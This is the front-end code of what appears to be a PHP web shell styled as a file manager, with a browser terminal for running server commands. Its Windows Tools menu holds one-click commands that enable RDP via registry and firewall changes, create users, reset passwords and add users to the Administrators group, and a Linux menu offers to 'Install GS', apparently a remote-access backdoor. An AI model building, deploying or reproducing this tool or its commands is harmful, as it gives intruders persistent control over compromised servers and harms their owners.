.editor-fullscreen { position: fixed !important; top: 0 !important; left: 0 !important; right: 0 !important; bottom: 0 !important; width: 100% !important; height: 100% !important; z-index: 99999 !important; background: #0f172a !important; margin: 0 !important; padding: 0 !important; border-radius: 0 !important; }
.editor-fullscreen #ace-editor-container { height: calc(100vh - 120px) !important; }
.modal-fullscreen .glass { max-width: 100% !important; width: 100% !important; height: 100% !important; max-height: 100% !important; border-radius: 0 !important; margin: 0 !important; }
.demo-badge { position: fixed; top: 10px; right: 10px; background: linear-gradient(135deg, #ef4444, #dc2626); color: white; padding: 6px 14px; border-radius: 20px; font-size: 12px; font-weight: bold; z-index: 10000; box-shadow: 0 4px 15px rgba(239, 68, 68, 0.4); animation: pulse-red 2s infinite; display: flex; align-items: center; gap: 8px; }
@keyframes pulse-red { 0% { box-shadow: 0 0 0 0 rgba(239, 68, 68, 0.7); } 70% { box-shadow: 0 0 0 10px rgba(239, 68, 68, 0); } 100% { box-shadow: 0 0 0 0 rgba(239, 68, 68, 0); } }
.skeleton-row { animation: fadeInOut 1.5s ease-in-out infinite; }
@keyframes fadeInOut { 0%, 100% { opacity: 1; } 50% { opacity: 0.5; } }

/* FULLSCREEN TERMINAL */
.terminal-fullscreen {
    position: fixed !important;
    top: 0 !important;
    left: 0 !important;
    right: 0 !important;
    bottom: 0 !important;
    z-index: 99999 !important;
    background: #0f172a !important;
    padding: 20px !important;
    border-radius: 0 !important;
    border-top: none !important;
}
.terminal-fullscreen .border-t { border-top: none !important; }
.terminal-fullscreen #terminal-content {
    height: calc(100vh - 80px) !important;
    display: flex !important;
    flex-direction: column !important;
}
.terminal-fullscreen #terminal-output {
    flex: 1 !important;
    max-height: none !important;
    min-height: 200px !important;
    font-size: 16px !important;
    padding: 15px !important;
}
.terminal-fullscreen #command-input { font-size: 16px !important; padding: 12px !important; }
.terminal-fullscreen .terminal-indicator { width: 12px !important; height: 12px !important; }
.terminal-fullscreen #terminal-prompt { font-size: 16px !important; }

/* DRAG & DROP */
.drop-zone {
    position: relative;
    transition: all 0.3s ease;
}
.drop-zone.drag-over {
    border: 3px dashed #3b82f6 !important;
    background: rgba(59, 130, 246, 0.08) !important;
}
.drop-zone .drop-message {
    display: none;
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    background: rgba(15, 23, 42, 0.95);
    padding: 40px 50px;
    border-radius: 16px;
    border: 3px dashed #3b82f6;
    color: #3b82f6;
    font-size: 22px;
    font-weight: bold;
    z-index: 100;
    text-align: center;
    pointer-events: none;
    box-shadow: 0 0 60px rgba(59, 130, 246, 0.2);
}
.drop-zone.drag-over .drop-message {
    display: block;
    animation: dropPulse 0.8s ease-in-out infinite alternate;
}
@keyframes dropPulse {
    from { transform: translate(-50%, -50%) scale(1); opacity: 0.8; }
    to { transform: translate(-50%, -50%) scale(1.03); opacity: 1; }
}
.drop-zone .drop-message i { font-size: 50px; display: block; margin-bottom: 15px; color: #60a5fa; }
.drop-zone .drop-message .sub { font-size: 14px; color: #94a3b8; font-weight: normal; margin-top: 5px; }

/* SHELL LOCK/UNLOCK */
.file-shell-locked {
    opacity: 0.9;
    border-left: 3px solid #ef4444;
}
.file-shell-locked .permission-bits {
    color: #ef4444;
    background: rgba(239, 68, 68, 0.1);
}

.folder-shell-locked {
    opacity: 0.9;
    border-left: 3px solid #f59e0b;
}
.folder-shell-locked .permission-bits {
    color: #f59e0b;
    background: rgba(245, 158, 11, 0.1);
}

.shell-lock-icon { color: #f97316; }
.shell-unlock-icon { color: #ef4444; }
.shell-lock-icon:hover { color: #ea580c; }
.shell-unlock-icon:hover { color: #dc2626; }

/* RESPONSIVE */
@media (max-width: 768px) {
    .btn { padding: 0.25rem 0.75rem; font-size: 12px; }
    table { font-size: 13px; }
    th, td { padding: 8px !important; }
    th:nth-child(4), td:nth-child(4) { display: none; }
    #folder-name, #file-name { width: 100px; font-size: 12px; }
    .toast { font-size: 12px; }
}
@media (max-width: 640px) {
    body { font-size: 12px; }
    h1 { font-size: 18px !important; }
    thead th:nth-child(4), tbody td:nth-child(4) { display: none; }
    thead th:nth-child(5), tbody td:nth-child(5) { display: none; }
    .flex.flex-wrap { gap: 6px; }
    .flex.flex-wrap .btn, .flex.flex-wrap button, .flex.flex-wrap label { padding: 6px 10px; font-size: 11px; }
    #folder-name, #file-name { width: 80px; }
    .ml-auto { margin-left: 0; }
    .flex.items-center.gap-2 { flex-wrap: wrap; justify-content: flex-start; width: 100%; margin-top: 8px; }
    .terminal { font-size: 11px; }
    #terminal-prompt { font-size: 10px; max-width: 80px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; }
    #command-input { font-size: 11px; }
    #terminal-output { max-height: 150px; font-size: 10px; }
    .dropdown-content { position: fixed; top: auto; bottom: 0; left: 0; right: 0; width: 100%; max-width: 100%; border-radius: 20px 20px 0 0; max-height: 60vh; }
    .dropdown-item { padding: 12px 16px; font-size: 14px; }
    #toasts { top: 60px; right: 10px; width: calc(100% - 20px); max-width: 350px; }
    .drop-zone .drop-message { padding: 20px 25px; font-size: 16px; }
    .drop-zone .drop-message i { font-size: 30px; }
}
@media (max-width: 480px) {
    .flex.flex-wrap.gap-2 { flex-direction: column; align-items: stretch; }
    .flex.flex-wrap.gap-2 > div { width: 100%; }
    .flex.gap-1 { justify-content: space-between; }
    .btn span:not(.hidden), button span:not(.hidden) { display: none; }
    .btn i, button i { margin-right: 0; font-size: 14px; }
    .btn { padding: 8px 12px; justify-content: center; }
    .actions-cell .flex { flex-wrap: wrap; gap: 4px; }
    .actions-cell button { padding: 4px; }
    .actions-cell button i { font-size: 12px; }
}
</style>
</head>
<div id="toasts" class="fixed top-4 right-4 z-50 space-y-2 w-80"></div>
<body class="flex flex-col h-screen">
    <?php if ($demo_mode): ?>
    <div class="demo-badge" style="position: fixed; top: 10px; right: 10px; background: linear-gradient(135deg, #ef4444, #dc2626); color: white; padding: 6px 14px; border-radius: 20px; font-size: 12px; font-weight: bold; z-index: 10000; box-shadow: 0 4px 15px rgba(239,68,68,0.4); display: flex; align-items: center; gap: 8px;">
        <i class="fas fa-eye"></i> DEMO MODE
    </div>
    <?php endif; ?>
    <div class="flex-1 flex flex-col overflow-hidden">
        <header class="glass backdrop-blur-md bg-gray-900/80 border-b border-gray-700/50 rounded-b-2xl shadow-2xl sticky top-0 z-50">
            <div class="p-4 lg:p-5">
                <div class="flex flex-col lg:flex-row lg:justify-between lg:items-center gap-4 mb-5">
                    <div class="space-y-2">
                        <div class="flex items-center gap-3 flex-wrap">
                            <div class="flex items-center gap-2">
                                <div class="w-10 h-10 rounded-xl bg-gradient-to-br from-blue-500/20 to-purple-500/20 flex items-center justify-center backdrop-blur-sm border border-white/10">
                                    <i class="fas fa-server text-blue-400 text-xl"></i>
                                </div>
                                <h1 class="text-2xl lg:text-3xl font-extrabold bg-gradient-to-r from-blue-400 via-cyan-400 to-purple-500 bg-clip-text text-transparent animate-gradient">
                                    <?php echo $isWindows ? 'Windows Mode' : 'Linux Mode'; ?>
                                </h1>
                                <div id="disk-info" class="inline-flex items-center gap-2 px-3 py-1.5 bg-gray-800/50 rounded-lg border border-gray-700/50 backdrop-blur-sm">
                                    <div class="w-2 h-2 bg-green-400 rounded-full animate-pulse"></div>
                                    <i class="fas fa-hdd text-gray-400 text-sm"></i>
                                    <span class="text-xs text-gray-300 font-mono">Loading storage info...</span>
                                </div>
                            </div>
                        </div>
                    </div>
                    <div class="flex items-center gap-2">
                        <button onclick="logout()" class="group relative px-4 py-2.5 bg-gradient-to-r from-red-600 to-pink-600 hover:from-red-700 hover:to-pink-700 rounded-xl text-white font-semibold shadow-lg shadow-red-500/30 transition-all duration-300 transform hover:scale-105 active:scale-95 overflow-hidden">
                            <span class="absolute inset-0 bg-white/30 transform -skew-x-12 -translate-x-full group-hover:translate-x-full transition-transform duration-700"></span>
                            <div class="relative z-10 flex items-center gap-2">
                                <i class="fas fa-sign-out-alt group-hover:animate-pulse"></i>
                                <span class="hidden sm:inline tracking-wider">LOGOUT</span>
                            </div>
                            <span class="absolute -top-1 -right-1 w-3 h-3 bg-red-400 rounded-full animate-ping opacity-75"></span>
                            <span class="absolute -top-1 -right-1 w-3 h-3 bg-red-500 rounded-full"></span>
                        </button>
                        <button onclick="loadDir(currentDir)" class="px-4 py-2.5 bg-gray-700 hover:bg-gray-600 rounded-xl text-white transition-all duration-200 flex items-center gap-2 border border-gray-600 hover:border-gray-500">
                            <i class="fas fa-sync-alt text-sm group-hover:rotate-180 transition-transform duration-500"></i>
                            <span class="hidden sm:inline">Refresh</span>
                        </button>
                    </div>
                </div>
                <div class="mb-4 group">
                    <div class="flex items-center gap-2 bg-gray-800/40 backdrop-blur-sm p-2.5 rounded-xl border border-gray-700/50 hover:border-gray-600/50 transition-all duration-200">
                        <div class="flex items-center gap-1.5 px-2 py-1 bg-gradient-to-r from-blue-500/20 to-purple-500/20 rounded-lg border border-blue-500/30">
                            <i class="fas fa-folder-open text-blue-400 text-xs"></i>
                            <span class="text-xs font-mono font-semibold text-blue-400">FM</span>
                        </div>
                        <div class="w-px h-5 bg-gray-600"></div>
                        <div id="breadcrumbs" class="flex items-center flex-wrap gap-1.5 text-sm flex-1 font-mono">
                            <?php echo buildBreadcrumbs($_SESSION['fm_current_dir'], $isWindows); ?>
                        </div>
                        <button onclick="syncFMtoTerminal()" class="ml-2 px-3 py-1.5 bg-gradient-to-r from-green-600 to-emerald-600 hover:from-green-700 hover:to-emerald-700 rounded-lg text-white text-xs font-medium transition-all duration-200 flex items-center gap-1.5 shadow-lg shadow-green-500/20" title="Sync FM Directory ke Terminal">
                            <i class="fas fa-arrow-right"></i>
                            <i class="fas fa-terminal text-xs"></i>
                            <span class="hidden sm:inline">Sync ke Terminal</span>
                        </button>
                    </div>
                </div>
                <div class="flex flex-wrap gap-2 items-center">
                    <div class="flex flex-wrap gap-2">
                        <label for="file-upload" class="px-4 py-2 bg-gradient-to-r from-blue-600 to-blue-700 hover:from-blue-700 hover:to-blue-800 rounded-lg text-white text-sm font-medium cursor-pointer transition-all duration-200 flex items-center gap-2 shadow-lg shadow-blue-500/20">
                            <i class="fas fa-upload"></i>
                            <span>Upload</span>
                        </label>
                        <input type="file" id="file-upload" multiple class="hidden">
                        <div class="flex gap-1 bg-gray-800/50 rounded-lg p-1 border border-gray-700">
                            <input type="text" id="folder-name" placeholder="Folder name" class="px-3 py-1.5 bg-gray-900 border border-gray-700 rounded-lg text-sm w-36 focus:outline-none focus:border-blue-500 transition-colors">
                            <button onclick="createFolder()" class="px-3 py-1.5 bg-green-600 hover:bg-green-700 rounded-lg text-white text-sm transition-all duration-200 flex items-center gap-1">
                                <i class="fas fa-folder-plus"></i>
                                <span class="hidden sm:inline">New</span>
                            </button>
                        </div>
                        <div class="flex gap-1 bg-gray-800/50 rounded-lg p-1 border border-gray-700">
                            <input type="text" id="file-name" placeholder="File name" class="px-3 py-1.5 bg-gray-900 border border-gray-700 rounded-lg text-sm w-36 focus:outline-none focus:border-blue-500 transition-colors">
                            <button onclick="createFile()" class="px-3 py-1.5 bg-green-600 hover:bg-green-700 rounded-lg text-white text-sm transition-all duration-200 flex items-center gap-1">
                                <i class="fas fa-file-plus"></i>
                                <span class="hidden sm:inline">New</span>
                            </button>
                        </div>
                    </div>
                    <div class="flex gap-1 bg-gray-800/50 rounded-lg p-1 border border-gray-700">
                        <button onclick="moveSelected()" class="px-3 py-1.5 bg-yellow-600 hover:bg-yellow-700 rounded-lg text-white text-sm transition-all duration-200 flex items-center gap-1" title="Move selected items to another directory">
                            <i class="fas fa-cut"></i>
                            <span class="hidden sm:inline">Move</span>
                        </button>
                        <button onclick="copySelected()" class="px-3 py-1.5 bg-blue-600 hover:bg-blue-700 rounded-lg text-white text-sm transition-all duration-200 flex items-center gap-1" title="Copy selected items to another directory">
                            <i class="fas fa-copy"></i>
                            <span class="hidden sm:inline">Copy</span>
                        </button>
                    </div>
                    <div class="dropdown relative windows-only">
                        <button onclick="toggleWindowsTools()" class="px-4 py-2 bg-gradient-to-r from-blue-600 to-purple-600 hover:from-blue-700 hover:to-purple-700 rounded-lg text-white text-sm font-medium transition-all duration-200 flex items-center gap-2 shadow-lg shadow-purple-500/20">
                            <i class="fab fa-windows"></i>
                            <span>Windows Tools</span>
                            <i class="fas fa-chevron-down text-xs transition-transform duration-200" id="dropdown-arrow-windows"></i>
                        </button>
                        <div id="windows-tools-dropdown" class="dropdown-content hidden">
                            <div class="p-2 border-b border-gray-700 bg-gray-900/50">
                                <span class="text-xs text-gray-400"><i class="fab fa-windows mr-1"></i> Windows Administrative Tools</span>
                            </div>
                            <div class="dropdown-item" onclick="runWindowsCommand('Aktifkan RDP', 'reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 0 /f && netsh advfirewall firewall set rule group=\"remote desktop\" new enable=Yes && echo RDP telah diaktifkan')">
                                <i class="fas fa-desktop text-blue-400 w-5"></i>
                                <span class="flex-1">🔓 Aktifkan RDP</span>
                            </div>
                            <div class="dropdown-item" onclick="runWindowsCommand('Nonaktifkan RDP', 'reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f && echo RDP telah dinonaktifkan')">
                                <i class="fas fa-desktop text-red-400 w-5"></i>
                                <span class="flex-1">🔒 Nonaktifkan RDP</span>
                            </div>
                            <div class="dropdown-item" onclick="runWindowsCommand('Cek Status RDP', 'reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections')">
                                <i class="fas fa-info-circle text-blue-400 w-5"></i>
                                <span class="flex-1">ℹ️ Cek Status RDP</span>
                            </div>
                            <div class="dropdown-item" onclick="runWindowsCommand('Cek Port RDP', 'reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp\" /v PortNumber')">
                                <i class="fas fa-plug text-orange-400 w-5"></i>
                                <span class="flex-1">🔌 Cek Port RDP</span>
                            </div>
                            <div class="dropdown-divider"></div>
                            <div class="dropdown-item" onclick="showCreateUserModal()">
                                <i class="fas fa-user-plus text-green-400 w-5"></i>
                                <span class="flex-1">👤 Buat User Baru</span>
                            </div>
                            <div class="dropdown-item" onclick="showResetPasswordModal()">
                                <i class="fas fa-key text-yellow-400 w-5"></i>
                                <span class="flex-1">🔐 Reset Password User</span>
                            </div>
                            <div class="dropdown-item" onclick="showAddAdminModal()">
                                <i class="fas fa-user-shield text-purple-400 w-5"></i>
                                <span class="flex-1">👑 Jadikan User Sebagai Admin</span>
                            </div>
                            <div class="dropdown-divider"></div>
                            <div class="dropdown-item" onclick="runWindowsCommand('List Semua User', 'net user')">
                                <i class="fas fa-users text-blue-400 w-5"></i>
                                <span class="flex-1">📋 List Semua User</span>
                            </div>
                            <div class="dropdown-item" onclick="runWindowsCommand('List User RDP', 'net localgroup \"Remote Desktop Users\"')">
                                <i class="fas fa-users text-green-400 w-5"></i>
                                <span class="flex-1">📋 User yang Bisa RDP</span>
                            </div>
                            <div class="dropdown-item" onclick="runWindowsCommand('List Admin Group', 'net localgroup Administrators')">
                                <i class="fas fa-shield-alt text-purple-400 w-5"></i>
                                <span class="flex-1">📋 User Administrator</span>
                            </div>
                        </div>
                    </div>
                    <div class="dropdown relative linux-only">
                        <button onclick="toggleLinuxTools()" class="px-4 py-2 bg-gradient-to-r from-green-600 to-teal-600 hover:from-green-700 hover:to-teal-700 rounded-lg text-white text-sm font-medium transition-all duration-200 flex items-center gap-2 shadow-lg shadow-green-500/20">
                            <i class="fab fa-linux"></i>
                            <span>Linux Tools</span>
                            <i class="fas fa-chevron-down text-xs transition-transform duration-200" id="dropdown-arrow-linux"></i>
                        </button>
                        <div id="linux-tools-dropdown" class="dropdown-content hidden">
                            <div class="p-2 border-b border-gray-700 bg-gray-900/50">
                                <span class="text-xs text-gray-400"><i class="fab fa-linux mr-1"></i> Linux Administrative Tools</span>
                            </div>
                            <div class="dropdown-item" onclick="installgs()">
                                <i class="fas fa-cogs text-orange-400 w-5"></i>
                                <span class="flex-1">📦 Install GS</span>
                            </div>
                            <div class="dropdown-item" onclick="uninstallgs()">
                                <i class="fas fa-trash-alt text-red-400 w-5"></i>
                                <span class="flex-1">🗑️ Uninstall GS</span>
                            </div>
                        </div>
                    </div>
                    <div class="flex items-center gap-2 ml-auto">
                        <div class="px-3 py-1.5 bg-gray-800/50 rounded-lg border border-gray-700">
                            <span id="selected-count" class="text-sm font-mono text-cyan-400">0 selected</span>
                        </div>
                        <div class="flex gap-1 bg-gray-800/50 rounded-lg p-1 border border-gray-700">
                            <button onclick="selectAll()" class="px-3 py-1.5 bg-gray-700 hover:bg-gray-600 rounded-lg text-xs text-white transition-colors">
                                <i class="fas fa-check-double"></i>
                                <span class="hidden md:inline ml-1">All</span>
                            </button>
                            <button onclick="clearSelection()" class="px-3 py-1.5 bg-gray-700 hover:bg-gray-600 rounded-lg text-xs text-white transition-colors">
                                <i class="fas fa-times"></i>
                                <span class="hidden md:inline ml-1">Clear</span>
                            </button>
                            <button onclick="zipSelected()" class="px-3 py-1.5 bg-yellow-600 hover:bg-yellow-700 rounded-lg text-xs text-white transition-colors">
                                <i class="fas fa-file-archive"></i>
                                <span class="hidden md:inline ml-1">Zip</span>
                            </button>
                            <button onclick="deleteSelected()" class="px-3 py-1.5 bg-red-600 hover:bg-red-700 rounded-lg text-xs text-white transition-colors">
                                <i class="fas fa-trash"></i>
                                <span class="hidden md:inline ml-1">Del</span>
                            </button>
                        </div>
                    </div>
                </div>
            </div>
        </header>
        <!-- File Table with Drop Zone -->
        <div class="flex-1 overflow-auto scroll-custom drop-zone" id="drop-zone">
            <div class="drop-message">
                <i class="fas fa-cloud-upload-alt"></i>
                📤 Drop files here to upload
                <div class="sub">Supports all file types up to 100MB</div>
            </div>
            <table class="w-full">
                <thead class="sticky top-0 bg-gray-900/95 z-10">
                    <tr class="border-b border-gray-800">
                        <th class="p-3 w-12 text-center">
                            <input type="checkbox" id="select-all" class="rounded" onchange="toggleSelectAll(this.checked)">
                        </th>
                        <th class="p-3 text-left text-sm font-medium text-gray-300">Name</th>
                        <th class="p-3 text-left text-sm font-medium text-gray-300 w-32">Size</th>
                        <th class="p-3 text-left text-sm font-medium text-gray-300 w-32">Permissions</th>
                        <th class="p-3 text-left text-sm font-medium text-gray-300 w-32">Owner/Group</th>
                        <th class="p-3 text-left text-sm font-medium text-gray-300 w-48">Modified</th>
                        <th class="p-3 text-left text-sm font-medium text-gray-300 w-80">Actions</th>
                    </tr>
                </thead>
                <tbody id="file-table" class="divide-y divide-gray-800"></tbody>
            </table>
            <div id="empty-state" class="hidden text-center py-12">
                <i class="fas fa-folder-open text-4xl text-gray-600 mb-4"></i>
                <p class="text-gray-400">This directory is empty</p>
            </div>
            <div id="loading" class="hidden">
                <div class="space-y-2 p-3">
                    <div class="skeleton-row flex items-center gap-3 p-3">
                        <div class="skeleton-checkbox w-5 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-icon w-8 h-8 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-name flex-1 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-size w-20 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-perms w-24 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-date w-32 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-actions w-40 h-5 bg-gray-700 rounded animate-pulse"></div>
                    </div>
                    <div class="skeleton-row flex items-center gap-3 p-3">
                        <div class="skeleton-checkbox w-5 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-icon w-8 h-8 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-name flex-1 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-size w-20 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-perms w-24 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-date w-32 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-actions w-40 h-5 bg-gray-700 rounded animate-pulse"></div>
                    </div>
                    <div class="skeleton-row flex items-center gap-3 p-3">
                        <div class="skeleton-checkbox w-5 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-icon w-8 h-8 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-name flex-1 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-size w-20 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-perms w-24 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-date w-32 h-5 bg-gray-700 rounded animate-pulse"></div>
                        <div class="skeleton-actions w-40 h-5 bg-gray-700 rounded animate-pulse"></div>
                    </div>
                </div>
            </div>
        </div>
    </div>

    <!-- Terminal -->
    <div class="border-t border-gray-800 bg-gray-900" id="terminal-wrapper">
        <div class="flex items-center justify-between p-2 border-b border-gray-800">
            <div class="flex items-center gap-2">
                <i class="fas fa-terminal text-green-400"></i>
                <span class="text-sm font-medium">Terminal</span>
                <span id="exec-method" class="text-xs px-2 py-1 bg-gray-800 rounded">Testing...</span>
                <span id="current-dir-terminal" class="text-xs text-gray-400 truncate max-w-xs"></span>
                <span id="sync-indicator" class="hidden text-xs px-2 py-0.5 bg-green-900/50 text-green-400 rounded-full">
                    <i class="fas fa-check-circle mr-1"></i> Synced
                </span>
            </div>
            <div class="flex items-center gap-2">
                <button onclick="syncTerminalToFM()" class="text-xs text-blue-400 hover:text-blue-300 flex items-center gap-1" title="Sync Terminal ke FM">
                    <i class="fas fa-arrow-left"></i>
                    <span class="hidden sm:inline">Terminal → FM</span>
                </button>
                <button onclick="syncFMtoTerminal()" class="text-xs text-green-400 hover:text-green-300 flex items-center gap-1" title="Sync FM ke Terminal">
                    <span class="hidden sm:inline">FM →</span>
                    <i class="fas fa-arrow-right"></i>
                    <i class="fas fa-terminal text-xs"></i>
                </button>
                <div class="w-px h-5 bg-gray-700"></div>
                <button onclick="clearTerminal()" class="text-xs text-gray-400 hover:text-white">
                    <i class="fas fa-trash"></i> Clear
                </button>
                <button onclick="toggleTerminalFullscreen()" id="terminal-fullscreen-btn" class="text-xs text-gray-400 hover:text-white" title="Fullscreen (F11)">
                    <i class="fas fa-expand"></i>
                </button>
            </div>
        </div>
        <div id="terminal-content" class="p-3 bg-black">
            <div id="terminal-output" class="terminal mb-3 max-h-64 overflow-y-auto scroll-custom space-y-1"></div>
            <form onsubmit="executeCommand(event)" class="flex items-stretch gap-2">
                <div class="flex-1 flex items-stretch bg-gray-900 rounded border border-gray-700 overflow-hidden">
                    <div class="px-3 py-2 text-green-400 flex items-center">
                        <span class="terminal-indicator mr-1"></span>
                        <span id="terminal-prompt"><?php
                            $promptDir = $_SESSION['terminal_current_dir'];
                            if ($isWindows) {
                                $promptDir = str_replace('\\', '/', $promptDir);
                                echo htmlspecialchars($promptDir) . '>';
                            } else {
                                echo htmlspecialchars(basename($promptDir) ?: '/') . '$';
                            }
                        ?></span>
                    </div>
                    <input type="text" id="command-input" class="flex-1 px-2 py-2 bg-transparent border-none outline-none text-sm terminal" placeholder="<?php echo $isWindows ? 'Enter command (dir, cd, type)' : 'Enter command (cd, ls, pwd)'; ?>" autocomplete="off" autofocus>
                </div>
                <button type="submit" class="btn btn-primary">
                    <i class="fas fa-play"></i>
                </button>
            </form>
        </div>
    </div>

    <!-- Modal -->
    <div id="modal" class="hidden fixed inset-0 z-50 flex items-center justify-center bg-black bg-opacity-75 p-4">
        <div class="glass rounded-lg shadow-2xl w-full max-w-6xl max-h-[90vh] flex flex-col">
            <div class="flex justify-between items-center p-4 border-b border-gray-800">
                <h3 id="modal-title" class="text-lg font-medium"></h3>
                <button onclick="closeModal()" class="text-2xl text-gray-400 hover:text-white">&times;</button>
            </div>
            <div id="modal-body" class="flex-1 overflow-auto p-4"></div>
        </div>
    </div>

    <!-- Directory Picker Modal -->
    <div id="dir-picker-modal" class="hidden fixed inset-0 z-50 flex items-center justify-center bg-black bg-opacity-75 p-4">
        <div class="glass rounded-lg shadow-2xl w-full max-w-lg">
            <div class="flex justify-between items-center p-4 border-b border-gray-800">
                <h3 id="dir-picker-title" class="text-lg font-medium">Select Destination</h3>
                <button onclick="closeDirPickerModal()" class="text-2xl text-gray-400 hover:text-white">&times;</button>
            </div>
            <div class="p-4">
                <div class="mb-4">
                    <label class="block text-sm text-gray-400 mb-2">Destination Directory</label>
                    <div class="flex gap-2">
                        <input type="text" id="dest-directory" class="flex-1 px-3 py-2 bg-gray-800 border border-gray-700 rounded-lg text-sm focus:outline-none focus:border-blue-500" value="<?php echo addslashes($_SESSION['fm_current_dir']); ?>">
                        <button onclick="browseDestDirectory()" class="px-3 py-2 bg-gray-700 hover:bg-gray-600 rounded-lg text-sm">
                            <i class="fas fa-folder-open"></i> Browse
                        </button>
                    </div>
                </div>
                <div id="dest-browser" class="hidden mb-4">
                    <div class="mb-2 flex items-center gap-2">
                        <button onclick="goUpDestDir()" class="px-2 py-1 bg-gray-700 rounded text-sm">
                            <i class="fas fa-arrow-up"></i> Up
                        </button>
                        <div id="dest-breadcrumbs" class="flex-1 text-xs text-gray-400 font-mono truncate"></div>
                    </div>
                    <div id="dest-files-list" class="max-h-64 overflow-y-auto border border-gray-700 rounded-lg bg-gray-900/50"></div>
                </div>
                <div class="flex gap-2 mt-4">
                    <button onclick="confirmDirPicker()" class="flex-1 btn btn-primary">
                        <i class="fas fa-check"></i> Confirm
                    </button>
                    <button onclick="closeDirPickerModal()" class="flex-1 btn btn-secondary">Cancel</button>
                </div>
            </div>
        </div>
    </div>

    <script>
// ============================================
// VARIABLES
// ============================================
let currentDir = '<?php echo addslashes($_SESSION["fm_current_dir"]); ?>';
let terminalDir = '<?php echo addslashes($_SESSION["terminal_current_dir"] ?? $_SESSION["fm_current_dir"]); ?>';
let selectedFiles = new Set();
let isWindows = <?php echo $isWindows ? 'true' : 'false'; ?>;
let dirPickerCallback = null;
let currentDestDir = currentDir;
let destBrowserDir = currentDir;
let terminalFullscreen = false;

// ============================================
// TOAST NOTIFICATION
// ============================================
function showToast(message, type = 'info', allowHtml = false) {
    const toast = document.createElement('div');
    toast.className = `toast p-4 rounded-lg border-l-4 ${type === 'success' ? 'bg-green-900 border-green-700' : type === 'error' ? 'bg-red-900 border-red-700' : type === 'warning' ? 'bg-yellow-900 border-yellow-700' : 'bg-blue-900 border-blue-700'} shadow-lg`;
    if (allowHtml) {
        toast.innerHTML = `
            <div class="flex items-start gap-3">
                <i class="fas fa-${type === 'success' ? 'check-circle' : type === 'error' ? 'times-circle' : type === 'warning' ? 'exclamation-triangle' : 'info-circle'} mt-0.5"></i>
                <div class="flex-1">
                    <div>${message}</div>
                    <div class="text-sm opacity-80 mt-1">${new Date().toLocaleTimeString()}</div>
                </div>
                <button onclick="this.parentElement.parentElement.remove()" class="text-gray-400 hover:text-white">
                    <i class="fas fa-times"></i>
                </button>
            </div>
        `;
    } else {
        toast.innerHTML = `
            <div class="flex items-start gap-3">
                <i class="fas fa-${type === 'success' ? 'check-circle' : type === 'error' ? 'times-circle' : type === 'warning' ? 'exclamation-triangle' : 'info-circle'} mt-0.5"></i>
                <div class="flex-1">
                    <div class="font-medium">${message}</div>
                    <div class="text-sm opacity-80 mt-1">${new Date().toLocaleTimeString()}</div>
                </div>
                <button onclick="this.parentElement.parentElement.remove()" class="text-gray-400 hover:text-white">
                    <i class="fas fa-times"></i>
                </button>
            </div>
        `;
    }
    document.getElementById('toasts').appendChild(toast);
    setTimeout(() => {
        if (toast.parentElement) toast.remove();
    }, 5000);
    return toast;
}

// ============================================
// TERMINAL FUNCTIONS
// ============================================
function updateTerminalPrompt() {
    const promptEl = document.getElementById('terminal-prompt');
    if (isWindows) {
        promptEl.textContent = terminalDir.replace(/\\/g, '/') + '>';
    } else {
        promptEl.textContent = (terminalDir.split('/').pop() || '/') + '$';
    }
    document.getElementById('current-dir-terminal').textContent = terminalDir;
    checkSyncStatus();
}

function checkSyncStatus() {
    const indicator = document.getElementById('sync-indicator');
    if (!indicator) return;
    if (currentDir === terminalDir) {
        indicator.classList.remove('hidden');
        indicator.innerHTML = '<i class="fas fa-check-circle mr-1"></i> Synced';
        indicator.className = 'text-xs px-2 py-0.5 bg-green-900/50 text-green-400 rounded-full';
    } else {
        indicator.classList.add('hidden');
    }
}

function toggleTerminalFullscreen() {
    const terminal = document.getElementById('terminal-wrapper');
    const btn = document.getElementById('terminal-fullscreen-btn');
    if (!terminalFullscreen) {
        terminal.classList.add('terminal-fullscreen');
        btn.innerHTML = '<i class="fas fa-compress"></i>';
        terminalFullscreen = true;
        setTimeout(() => {
            document.getElementById('command-input').focus();
            const output = document.getElementById('terminal-output');
            if (output) output.scrollTop = output.scrollHeight;
        }, 100);
    } else {
        terminal.classList.remove('terminal-fullscreen');
        btn.innerHTML = '<i class="fas fa-expand"></i>';
        terminalFullscreen = false;
        setTimeout(() => {
            const output = document.getElementById('terminal-output');
            if (output) output.scrollTop = output.scrollHeight;
        }, 200);
    }
}

document.addEventListener('keydown', function(e) {
    if (e.key === 'Escape' && terminalFullscreen) {
        toggleTerminalFullscreen();
    }
});

function syncFMtoTerminal() {
    const fmDir = currentDir;
    if (!fmDir) {
        showToast('FM directory not available', 'error');
        return;
    }
    fetch(`?action=sync_terminal_dir&dir=${encodeURIComponent(fmDir)}`)
        .then(res => res.json())
        .then(data => {
            if (data.success) {
                terminalDir = fmDir;
                updateTerminalPrompt();
                const output = document.getElementById('terminal-output');
